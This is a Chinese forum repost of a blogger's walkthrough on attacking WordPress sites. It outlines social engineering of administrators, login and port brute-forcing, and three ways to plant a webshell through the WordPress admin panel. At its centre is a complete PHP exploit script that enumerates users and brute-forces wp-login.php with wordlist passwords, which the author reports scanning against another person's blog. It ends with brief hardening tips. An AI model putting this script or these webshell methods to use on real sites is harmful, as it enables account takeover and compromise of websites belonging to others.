TA的每日心情 | 无聊 2015-9-15 23:25 |
---|
签到天数: 16 天 [LV.4]偶尔看看III
|
本帖最后由 FS、H 于 2013-11-30 22:43 编辑
前言:
建博客也有些日子了,一直都想写篇入侵WP博客的文章,而又想给自己博客做一次安全检测,今天就顺带一起吧。自己的博客,日起来,总有那么点别扭的感觉。本文是边写边搞的,所以至于结果,还未知中,个人感觉是不会搞下来滴,嘻嘻,对自己站的一种信任,相信每个站长都有这种心理吧,所以本文重在谈论入侵思路和安全防御。
思路:
WP程序,广受国内外站长们的喜爱,也因此,WP程序的安全也是一直以来做的不错的,说到入侵WP博客,小菜也没经验,完全是找了些这类的文章看了下,然后自己在琢磨点思路,所以还请看官们勿喷呐~
1.信息收集,对网站的域名持有人、管理员社工,寻找一切有利用价值的资料,如:常用密码。
2.利用BurpLoader、wpscan对目标站后台尝试弱口令爆破,当然,也可以用别的方式爆破。
3.利用wpscan对网站全面检测,wpscan是一款专门针对WP程序安全的检测工具,具体这里不详细说,有兴趣可以百度下。
4.利用0day,当然,这点只是对于大牛们来说,像我们这种小菜哪有虾米0day啊,不过,这里我推荐一个地方可以找:Exploits-db
以下就是大众入侵思路了(不单单针对WP站点):
1.扫描服务器端口,尝试21、1433、3306、3389等端口爆破。(如果有别的端口上有WEB站也是个突破点)
2.从旁站,C段下手。
对于WP的入侵思路,貌似我就只想到这些,技术有限,一直弱爆了,如果您还有什么思路,欢迎分享。
WP博客后台拿shell方法:
WP博客后台拿shell,这个有很多方法的,但我不止一次见到有人发帖问了,我也就在这里告诉大家我自己总结的几种后台拿shell方法吧,大家也可以自己百度。
1.利用插件,插件名字叫FileBrowser,可以点击插件,安装插件,搜索插件,然后安装,这个插件就是个文件管理插件,截个图,大家一看就明白,这个方法貌似在网上还没发现有人公布额,不过这个方法得需要插件目录可写,不然没法安装肯定就没法用。
2.修改主题代码,外观-编辑-随便选个.php的文件插入一句话或者直接修改成shell代码也行。
3.随便找个WP主题包,然后再包里面加入你的马儿,然后后台-外观-主题-安装主题,上传主题,然后直接根据找访问你的马儿就行了,至于路径,相信你会找。
这里就只说这么几个拿shell方法,其实说真的,WP后台拿shell完全是秒啊。。。。
开撸:
信息收集就没必要了吧?日我自己的博客,我感觉我的脑子里的东西肯定比大数据,搜索引擎这些来的精准和多,嘻嘻~信息收集,可以通过搜索引擎,目标站中站长的联系方式,大数据等,这些各种收集,然后尝试查找密码,组合密码,登陆后台等等。
尝试后台爆破也没必要了,表示博客装了防火墙,记得那天因为我重复刷新还吧我的IP给墙了-,-,所以这条思路也不用尝试了。
1.利用wpscan对网站全面检测:
下面就是用wpscan检测插件了,这才是我一直想检测的,别的地方我感觉应该没问题。
我的kalilinux不知道怎么回事,怎么都没法用wpscan,于是让基友帮忙扫了下,基友说扫不动,我也猜到了,有防火墙,屏蔽了扫描。这里我就为了文章,随便在友链里找了个,90大牛的博客吧,让基友给扫了下,给大家上几个图吧。
WP版本是3.6.1的,其他没有什么有用的信息,好吧,继续检查下一个。
2.利用0day,我么有0day只知道前段时间爆出来的一个爆破用户密码的洞子,咱们试试?
php wordpress.php http://www.example.com //使用方法
EXP:
<!--?php
set_time_limit(0);
$domain = $argv[1];
//获取用户名
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "{<title-->(.*) \|}";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共获取用户".count($namearray)."名用户\n";
echo "正在破解用户名与密码相同的用户:\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令用户:\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$output = curl_exec($ch);
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpcode == 404) {
return 404;
}else{
return $output;
}
}
?>
破解失败,可以去Exploits-db找找。
至于端口扫描和旁站C这些,我的站就不用看了,做了cdn,真实IP没几个人能找到,而且ssh采用了秘钥登陆,所以这几条思路直接断开了。
总结:
WP该如何做好安全呢?
其实WP本身就已经很安全了,他一般的漏洞都是出自插件上面,只要你少装插件,尽量把需要的插件用代码实现,然后再吧后台地址隐藏或者装个防火墙、插件在或者修改后台代码,添加验证码这些都可以解决爆破了,然后再是自己要有安全意识,别使用统一密码,避免密码泄露,服务器安全做好,常更新WP版本,这样就很少会出问题了。
我有点后悔拿自己的博客来写了。。。让文章瞬间变水了,哎,算了,将就了,这文章几天前就开始写了,但是因为wpscan没法用,就暂时没写,今天才想起来这文章,才来收个尾的,有些忙各位看官将就了。下次一定写好点。
转载自:逝情‘s Blog |
|